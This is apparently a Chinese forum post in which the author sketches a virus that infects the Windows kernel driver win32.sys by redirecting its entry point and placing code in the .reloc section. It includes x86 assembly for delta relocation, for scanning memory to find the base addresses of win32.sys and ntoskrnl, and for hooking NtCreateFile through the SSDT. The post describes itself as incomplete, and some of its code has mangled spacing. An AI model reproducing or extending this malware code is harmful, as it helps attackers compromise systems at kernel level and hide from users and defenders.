感染驱动的病毒实际上这个思路和一般的pe文件感染是一样的,我只是做个探讨,完整的还有待实现 
1. 
r3的入口 
感染一个sys文件,比如Win32.sys 
感染的结果是修改win32.sys的入口点位为我们下面的r0入口点,假设为 r0entryold,同时还有就是感染win32.sys文件的一个节,我们可以添加一个节来存放病毒代码,但是这里我查资料发现,win32.sys的.reloc 
节是相对来说没有用的,,所以我们可以看病毒代码的大小来取决是不是直接放这个节里面。 
那么我在实现这些步骤的时候有个问题:我关闭了sfc,但是在感染win32.sys的时候还是失败。看来还是得着其他方法。但是可以肯定的是几十系统启动后有些比如文件相关的操作时要依赖于这个sys文件的,所以我们修改后可以一些api的调用会失败,但是总是有方法的,我再探索下吧! 
那么假设上面的一些工作都做好了,现在我们可以从r0entry来开始工作了。 
2. 
r0entrynew: 
push 0h ;;预留一个空间来存放入口点地址,其实不留爷是可以的,呼呼 
pushfd 
pushad 
;;重定位 
call @f 
@@: 
popebp 
subebp,@b 
;;获取win32.sys的基址 
leaeax,[ebp+r0entry] 
xor ax,ax 
addeax,1000h;;一页一页的搜索 
_search_base: 
subeax,1000h 
cmpwordptr [eax],'ZM' 
jne _search_base 
;;获取到之后我们就保存下我们的入口点,这里相当于是callback hook,呼呼,,不明白意思的话,就好好琢;;磨吧! 
movebx,[ebp+r0entryold] 
addebx,eax 
mov [esp+24h],ebx;;pushad了8个寄存器是36字节,pushfd了一个寄存器是4字节,加起来24h;;这下就存放;到了我们开始预留的那个位置处 
;;获得ntoskrnl的基址 
moveax,[esp+24h+4] 
xor ax,ax 
addeax,1000h 
_search_ntoskrnl: 
subeax,1000h 
cmpwordptr [eax],'ZM' 
jne _search_ntoskrnl 
mov [ebp+ntos],eax;;保存了 
;;其实还有一种方法,用windbg这么看结构的话,可以看到是这样 的关系 
;mov eax,[fs:34h] 
;add eax,18h 
;mov eax,[eax] 
;mov eax,[eax] 
;mov eax,[eax+18h] 
那么到此我们的准备工作就做完了!想想我们干了什么? 
我们"patch"了win32.sys,也就是说相当于是找到了一个安乐窝,那么从这里我们接近了r0.那么接下来我们就可以做一些其他的事情了!比如hook一些函数。作为病毒这个事情是必须干的呼呼! 
在native api解析的关于文件操作的里面,我在NtCreateFile里面提到了hook NtCreateFile的方法,也做了一个简短的代码。现在我们就用在这里。 
ssdt的话,我们应该都熟悉了,这么一个相关的结构! 
;KeServiceDescriptorTable points to a structure like this: 
; { 
; DWORD ServiceTableBase - pointer to system service dispatch table(SSDT) 
; DWORD ServiceCounterTable - not important for us 
; DWORD NumberOfServices - number of services in system service dispatch table 
; DWORD ParamTableBase - pointer to system service parameter table(SSPT) 
; } 
hook的具体步骤是这样的: 
push length 
push KeServiceDecriptorTable 
push ntoskrnl base 
call _get_api 
mov [ebp+KeServiceDrcriptorTableaddr],eax 
moveax,[eax] 
mov [ebp+ssdt],eax 
push NtCreateFile's length 
push NtCreateFile 
push ntoskrnl's base 
call _get_api 
mov [ebp+NtCreateFileaddr],eax 
;; 获取NtCreateFile的入口 
movebx,[ebp+ssdt] 
moveax,[ebp+KeServiceDecriptorTableaddr] 
movecx,[eax+8] ;;知道这样的原因吧?呼呼 
movedx,[ebp+NtCreateFileaddr] 
_search_entry: 
moveax,[ebx+ecx*4-4] 
cmpeax,edx 
loopnz _search_entry 
;;get it? 
shlecx,2 
addebx,ecx 
mov [ebp+NtCreateFileEntryaddr],ebx 
moveax,[ebx] 
cmpeax,edx 
jne _return 
;;hook一下,呼呼 
leaeax,[ebp+myNtCreateFile] 
mov [ebx],eax 
好了,这样就ok了,具体怎么hook大家自己想就可以了。我只是提供一个思路! 
其实不一定非要hook,还可以干很多其他的事情! 
3. 
不知道在哪里看到一个写病毒的,发了个附件,说是写了个驱动病毒。 
实际上就是驱动,rootkits不是rootkits,病毒不是病毒的,最后还是sys文件,不伦不类。 
我觉得只要是能感染内核的病毒,exe的文件就可以了!写成驱动就不那什么了。 
那么庆典上随口问一个金山的病毒分析师:现在感染驱动的病毒算不算趋势,他说不是很多。 
其实我个人认为还是很有研究价值的这方面。 
感染的思路还有很多,这里我给出的可能是最拙劣的一个。大牛见笑了! 
感染驱动的病毒下载如图片无法显示或论文不完整,请联系qq752018766